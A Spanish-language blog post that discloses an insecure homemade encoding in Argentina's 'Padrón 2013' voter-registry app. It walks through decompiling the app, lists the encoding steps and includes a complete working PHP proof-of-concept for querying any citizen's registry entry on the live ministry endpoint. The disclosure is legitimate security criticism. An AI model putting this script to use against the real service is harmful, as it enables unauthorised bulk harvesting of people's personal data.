Padrón 2013 o cómo manejar la información desastrosamente.

Hola a todos. Este es mi primer post y aprovecho para presentarme: soy un joven de 16 años, interesado en la seguridad informática, en particular la seguridad web.

Escribo este post preocupado por el tratamiento que se le da a los datos de la población por parte del Estado: estos son manejados de una manera altamente imprudente y están a merced de cualquier persona con un poco de materia gris.

A lo largo del post, mostraré como he descubierto fallas de seguridad fácilmente detectables por cualquier hacker sin un alto nivel técnico.

Todo parte de la aplicación del Padrón 2013 disponible en Google Play, del Ministerio del Interior. Esta nos permite consultar en dónde votamos con solo introducir nuestro DNI y sexo. Colocando un proxy interceptador, o en otras palabras, viendo qué manda y hacia dónde hace la conexión la aplicación para verificar la existencia en el padrón, pude descubrir que esta hace requests por GET a un subdominio de mininterior.gov.ar. Estas siguen la siguiente estructura:

http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%23v%23gWHVDcQRVR51kp%23RFjTqNGNK5mTsNCp%23HhTOUF1InNyZ
http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%238%231R1AHUUVEp%23NRVR41EVFhXTTplp%23j%23hFj%232BVVwMyZ
http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%23v%23gWHVDcQRVRw4EVVFjTqllMK5mTsNCp%23HhTOSd2InNyZ

req
Como se puede apreciar, el query está encriptado (como veremos después de una manera altamente insegura) en algo que parece base64 (un algoritmo de encriptación reversible, es decir, no seguro) para que no nos sea muy fácil realizar consultas a la base de datos del padrón arbitrariamente.

¿Cuál es el siguiente paso?

Las aplicaciones de Android, están programadas en Java, este lenguaje es fácilmente decompilable, por lo que se puede obtener con alta precisión el código original. Una vez obtenido el .apk de la aplicación Padrón 2013, hay que convertirlo a un archivo .java para que pueda ser decompilado.

decompile

Ya obtenido el archivo .java de la aplicación del padrón, podemos inspeccionar el código de esta śin ningún problema. Aquí es cuando podemos ver cómo se realizan las consultas:

makeconnect
Se llama a una url con un path de “ws_escuela.php?param=” y “dni=342324233&sexo=M|F”, este último encriptado (el sexo va a ser M o F, no M|F vale la pena aclarar).

Procedemos a inspeccionar el código de la función .codificar(). El mismo es:

codificar

Acá es cuando una persona que está en el tema de la programación y que sabe algo de seguridad y de criptografía se agarra la cabeza. Nunca, pero nunca deben inventarse estos algoritmos: es reinventar la rueda, pero MAL, MUY MAL. Después de ordenar un poco esta maraña de código ininteligible, podemos saber cómo encripta los datos esta función:

  1. Recibir una string (va a ser del tipo “dni=342324233&sexo=M|F”)
  2. Encode base64.
  3. Reemplazar ‘a’ por #t.
  4. Reemplazar ‘e’ por ‘#x’.
  5. Reemplazar ‘i’ por ‘#f’.
  6. Reemplazar ‘o’ por ‘#l’.
  7. Reemplazar ‘u’ por ‘#7’.
  8. Reemplazar ‘=’ por ‘#g’.
  9. Reverse.
  10. Encode base64.
  11. Reemplazar ‘a’ por ‘#j’.
  12. Reemplazar ‘e’ por ‘#p’.
  13. Reemplazar ‘i’ por ‘#w’.
  14. Reemplazar ‘o’ por ‘#8’.
  15. Reemplazar ‘u’ por ‘#0’.
  16. Reemplazar ‘=’ por ‘#v’.
  17. Reverse.

Pasando este pseudocódigo a cualquier lenguaje de programación, se pueden realizar queries arbitrariamente a la base de datos del Padrón, con los riesgos que esto conlleva: podemos pedir la información de cualquier persona, por ejemplo, del DNI nro. 1: http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%23v%23gWHVDcQRVRtNmMWRjY6FjT sin otorgar ninguna otra información, solo un número de DNI y el sexo, sin captcha, sin nada que nos limite.

A continuación, un POC hecho por Javier Smaldone (@mis2centavos):

<?
#This PHP script requires the cURL library
function encode($str) {

    $str = base64_encode($str);
    $str = str_replace('a', '#t', $str);
    $str = str_replace('e', '#x', $str);
    $str = str_replace('i', '#f', $str);
    $str = str_replace('o', '#l', $str);
    $str = str_replace('u', '#7', $str);
    $str = str_replace('=', '#g', $str);
    $str = strrev($str);
    $str = base64_encode($str);
    $str = str_replace('a', '#j', $str);
    $str = str_replace('e', '#p', $str);
    $str = str_replace('i', '#w', $str);
    $str = str_replace('o', '#8', $str);
    $str = str_replace('u', '#0', $str);
    $str = str_replace('=', '#v', $str);
    $str = strrev($str);

    return $str;
}

function query($url){
 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function show($dni, $gender){
    if (($gender == 'M') or ($gender=='F')) { 
        $dni = intval($dni);
        $params = "dni=$dni&sexo=$gender";
        $encoded=urlencode(encode($params));
        $url = "http://wsp.mininterior.gov.ar/ws_escuela.php?param=$encoded";
		$result = query($url);
        $data = explode("|",$result);
        if ($data[0] == 'ok') {
            echo('<h2>Resultado</h2><ul>');
			echo("<li><b>DNI:</b> $dni</b></li>");
            echo("<li><b>Mesa:</b> $data[1]</li>");
            echo("<li><b>Escuela:</b> $data[2]</li>");
            echo("<li><b>Domicilio:</b> $data[3]</li>");
            echo("<li><b>Localidad:</b> $data[4]</li>");
			echo("<li><b>Provincia:</b> $data[5]</li></ul>");
        } else {
            echo('<p>Error al consultar el padrón</p>');
        }
    } else {
        echo('<p>Datos incorrectos</p>');
    }
    echo('<h2>Nueva consulta</h2>');
   
}

function form(){
    echo('<form name="query" action="" method="get">');
    echo('DNI: <input type="text" name="dni">');
    echo('Sexo: <select name="gender">');
    echo('<option value="M">Masculino</option>');
    echo('<option value="F">Femenino</option>');
    echo('</select><br><input type="submit" value="Consultar"></form>');  
}

echo('<!DOCTYPE html><html><body><h1>Padrón electoral</h1>');

if (isset($_GET['dni']) and isset($_GET['gender']))  
   show($_GET['dni'], $_GET['gender']); 
  
form();

echo ('</body></html>');

?>

Una vez que mandamos esa string correctamente encriptada al servidor, si hay un matching, nos va a devolver una string con el siguiente formato:

<status>|<mesa>|<escuela>|<dirección de la escuela>|<localidad de la escuela>|<provincia de la escuela>|<session id>|<nro. de orden>|<documento>|

En el caso de no haber una persona con ese nro. de DNI, este va a ser el formato:

<status>|<session id>|

Así es como el gobierno cuida de nuestros datos.

Entonces, ¿qué es lo grave de esto?

El que se pueda consultar el Padrón de una manera “pirata” no es lo más importante de esto, el problema principal acá es el manejo inseguro que se hace de nuestros datos de parte del gobierno en muchas (o casi todas) las aplicaciones gubernamentales que manejan datos sensibles. Esto lo que hace es que surjan grupos como Anonymous, que no necesitan tener un alto nivel técnico para vulnerar estos sistemas, sino que los programadores contratados vulneran solos las aplicaciones, como vimos en el caso de la homemade encryption.

Como comentario final, debo decir que esto no constituye ninguna hazaña ni mucho menos: fue muy fácil lograr esto, y teniendo en cuenta que no tengo un background en reverse engineering, fue muy simple.

Se agradece la enorme ayuda proporcionada por Javier Smaldone (@mis2centavos).

Espero que les haya gustado el post, sin más que decir,

Saludos.

Sobre la suspensión de la cuenta @makhnar

Hola a todos. Después de publicar el post anterior, empecé a difundirlo por Twitter. Exactamente mandé 12 tweets con el artículo. Aquí mi cuenta fue suspendida por spam.

Estoy siguiendo los procedimientos detallados por Twitter para poder recuperar la cuenta.

Sobre la legalidad de esto: yo estoy tranquilo ya que en ningún momento cometí un acto ilegal, no violé la ley de Delitos informáticos, no accedí a un sistema sin autorización, no modifiqué información ni extraje datos. Estoy tan tranquilo que no tengo en problema en decir quién soy: mi usuario de Twitter personal es @rodrji y mi nombre es Rodrigo Fernandez.

Creo que está de más decir que no soy responsable ni me haré cargo de lo que hagan otras personas con esta información.